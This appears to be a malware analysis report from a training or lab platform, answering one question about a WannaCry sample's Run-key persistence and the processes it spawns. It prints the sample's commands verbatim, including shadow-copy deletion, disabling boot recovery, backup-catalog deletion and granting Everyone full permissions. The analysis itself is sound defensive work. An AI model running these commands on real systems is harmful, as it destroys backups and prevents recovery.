← Reports

Ransomware · Ransomworm · Worm

WannaCry - invoice_greenanimals.pdf.exe

Author
Moise Medici
Updated
15 Feb 2026 · Completed
Difficulty
Medium
Platform
Windows
Family
WannaCryptor
Languages
C++
MITRE
T1047 (Windows Management Instrumentation) T1059.003 (Command and Scripting Interpreter: Windows Command Shell) T1059.005 (Command and Scripting Interpreter: Visual Basic) T1569.002 (System Services: Service Execution) T1543.003 (Create or Modify System Process: Windows Service) T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder) T1027.007 (Obfuscated Files or Information: Dynamic API Resolution) T1027.009 (Obfuscated Files or Information: Embedded Payloads) T1027.013 (Obfuscated Files or Information: Encrypted/Encoded File) T1036.004 (Masquerading: Masquerade Task or Service) T1036.005 (Masquerading: Match Legitimate Resource Name or Location) T1036.007 (Masquerading: Double File Extension) T1070.004 (Indicator Removal: File Deletion) T1140 (Deobfuscate/Decode Files or Information) T1480 (Execution Guardrails) T1564.001 (Hide Artifacts: Hidden Files and Directories) T1620 (Reflective Code Loading) T1222.001 (File and Directory Permissions Modification: Windows Permissions) T1016 (System Network Configuration Discovery) T1033 (System Owner/User Discovery) T1046 (Network Service Discovery) T1083 (File and Directory Discovery) T1680 (Local Storage Discovery) T1210 (Exploitation of Remote Services) T1570 (Lateral Tool Transfer) T1486 (Data Encrypted for Impact) T1490 (Inhibit System Recovery) T1491.001 (Defacement: Internal Defacement)

Question 9

For question 9, other than the service creation keys seen above, another key that has been added is:

HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\pafhcsxxsfdrw600: ""C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe""

This can be found in the Regshot results, and it is used to execute C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe at login.
With Procmon it is possible to understand which process created the registry key. This is a good practice to give accountability to which process actually executed what, in order to be precise with the analysis.

The Procmon process tree, from the sample run with -m security through tasksche.exe to attrib, icacls, taskdl, @WanaDecryptor@ and the vssadmin shadow copy deletion.
Fig. 10: The Procmon process tree, from the sample run with -m security through tasksche.exe to attrib, icacls, taskdl, @WanaDecryptor@ and the vssadmin shadow copy deletion.

There is quite a lot going on. From the top, the first cmd.exe has been triggered to execute the command:

cmd.exe /c "C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe"

which starts the tasksche.exe process, which in turn runs all the utilities found previously in the FLOSS output:

  • attrib.exe with attribute +h .
  • icacls with attributes . /grant Everyone:F /T /C /Q
  • a few cmd processes with arguments:
    • C:\WINDOWS\system32\cmd.exe /c 122221764070810.bat
    • cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
    • cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "pafhcsxxsfdrw600" /t REG_SZ /d "\"C:\ProgramData\pafhcsxxsfdrw600\tasksche.exe\"" /f
  • cscript running with arguments //nologo m.vbs

Looking at the commands individually:

  • the icalcs command grants full control permissions to Everyone for the current folder and all its contents, quietly and recursively, without stopping for errors.

  • the vssadmin command (cmd.exe /c vssadmin delete shadows /all /quiet) quietly deletes all Volume Shadow Copy backups on the system without prompting.

  • the wmic shadowcopy delete command removes all existing shadow copies using WMIC, in case the vssadmin command fails.

  • bcdedit /set {default} bootstatuspolicy ignoreallfailures tells Windows Boot Manager to ignore all startup and recovery failures for the default boot entry instead of showing repair prompts.

  • bcdedit /set {default} recoveryenabled no disables automatic Windows recovery for the default boot entry so the system will not trigger Startup Repair.

  • wbadmin delete catalog -quiet quietly deletes the Windows Backup catalog, wiping the record of all system-image and file-backup metadata stored by wbadmin.